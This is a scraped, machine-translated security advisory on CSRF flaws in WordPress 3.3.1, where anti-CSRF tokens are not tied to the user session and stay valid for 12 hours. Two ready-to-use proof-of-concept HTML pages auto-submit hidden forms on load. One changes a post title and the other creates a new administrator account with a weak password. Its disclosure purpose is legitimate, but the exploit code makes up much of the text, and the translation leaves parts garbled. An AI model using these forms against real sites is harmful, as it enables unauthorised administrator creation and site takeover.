Wordpress 3.3.1 multiple CSRF defects and repair

Source: Internet
Author: User
Tags csrf attack

Title: Wordpress 3.3.1 Multiple CSRF Vulnerabilities
: Http://wordpress.org/wordpress-3.3.1.zip
By http://wordpress.org
Affected Versions: 3.3.1 and earlier. 3.3.2 may also be affected.
Test Platform: Debian Squeeze (6.0)

Pipeline +
 
Summary
1) Introduction
2) defect description
More than 2.1 CSRF
 
3) test
3.1 CSRF (Change Post Title)
3.2 CSRF (add administrator)
+ ----------------------------
1) Introduction
WordPress "is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless
The same time ."
 
2) defect description
More than 2.1 CSRF
Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add
Administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom
Header image, change site title, change administrator's email, change Wordpress Address, change Site Address, when an authenticated user/admin
Browses a special crafted web page. May be other parameters can be modified.
This vulnerability is caused by a security flaw in anti-CSRF token (_ wpnonce, _ wpnonce_create-user, _ ajax_nonce,
_ Wpnonce-custom-background-upload, _ wpnonce-custom-header-upload) generation. For some operations (see below) abve specified anti-CSRF tokens are
Not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user)
Within 12 hour.
The above described vulnerability allows an attacker-who has sniffed anti-CSRF token-to have 12 hour to perform a CSRF attack.
For Owasp recommendation about anti-CSRF token, you can read the following document:
Https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern
This problem affects the following operations:
-Add Admin/User
-Delete Admin/User
-Approve comment
-Unapprove comment
-Delete comment
-Change background image
-Insert custom header image
-Change site title
-Change administrator's email
-Change Wordpress Address
-Change Site Address
Other operations (like insert a new post) are not affected by this CSRF vulnerability.
In this Advisory I will only demonstrate how to change post title and how to add a new administrator account.
 
3) test
 
3.1 CSRF (Change Post Title)
<Html>
<Body onload = "javascript: document. forms [0]. submit ()">
<H2> CSRF Exploit to change post title </H2>
<Form method = "POST" name = "form0" action = "http: // www.2cto.com/wp-admin/admin-ajax.php">
<Input type = "hidden" name = "post_title" value = "hackedtitle"/>
<Input type = "hidden" name = "post_name" value = "hackedtitle"/>
<Input type = "hidden" name = "mm" value = "03"/>
<Input type = "hidden" name = "jj" value = "16"/>
<Input type = "hidden" name = "aa" value = "2012"/>
<Input type = "hidden" name = "hh" value = ""/>
<Input type = "hidden" name = "mn" value = ""/>
<Input type = "hidden" name = "ss" value = ""/>
<Input type = "hidden" name = "post_author" value = "1"/>
<Input type = "hidden" name = "post_password" value = ""/>
<Input type = "hidden" name = "post_category % 5B % 5D" value = "0"/>
<Input type = "hidden" name = "post_category % 5B % 5D" value = "1"/>
<Input type = "hidden" name = "tax_input % 5Bpost_tag % 5D" value = ""/>
<Input type = "hidden" name = "comment_status" value = "open"/>
<Input type = "hidden" name = "ping_status" value = "open"/>
<Input type = "hidden" name = "_ status" value = "publish"/>
<Input type = "hidden" name = "post_format" value = "0"/>
<Input type = "hidden" name = "_ inline_edit" value = "7425479d84"/>
<Input type = "hidden" name = "post_view" value = "list"/>
<Input type = "hidden" name = "screen" value = "edit-post"/>
<Input type = "hidden" name = "action" value = "inline-save"/>
<Input type = "hidden" name = "post_type" value = "post"/>
<Input type = "hidden" name = "post_ID" value = "1"/>
<Input type = "hidden" name = "edit_date" value = "true"/>
<Input type = "hidden" name = "post_status" value = "all"/>
</Form>
</Body>
</Html>
 
 
3.2 CSRF (Add Admin)
<Html>
<Body onload = "javascript: document. forms [0]. submit ()">
<H2> CSRF Exploit to add Administrator </H2>
<Form method = "POST" name = "form0" action = "http: // www.2 cto.com/wp-admin/user-new.php">
<Input type = "hidden" name = "action" value = "createuser"/>
<Input type = "hidden" name = "_ wpnonce_create-user" value = "<sniffed_value>"/>
<Input type = "hidden" name = "_ wp_http_referer" value = "% 2 Fwordpress % 2Fwp-admin % 2Fuser-new.php"/>
<Input type = "hidden" name = "user_login" value = "admin2"/>
<Input type = "hidden" name = "email" value = "admin2@admin.com"/>
<Input type = "hidden" name = "first_name" value = "admin2@admin.com"/>
<Input type = "hidden" name = "last_name" value = ""/>
<Input type = "hidden" name = "url" value = ""/>
<Input type = "hidden" name = "pass1" value = "password"/>
<Input type = "hidden" name = "pass2" value = "password"/>
<Input type = "hidden" name = "role" value = "administrator"/>
<Input type = "hidden" name = "createuser" value = "Add + New + User +"/>
</Form>
</Body>
</Html>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.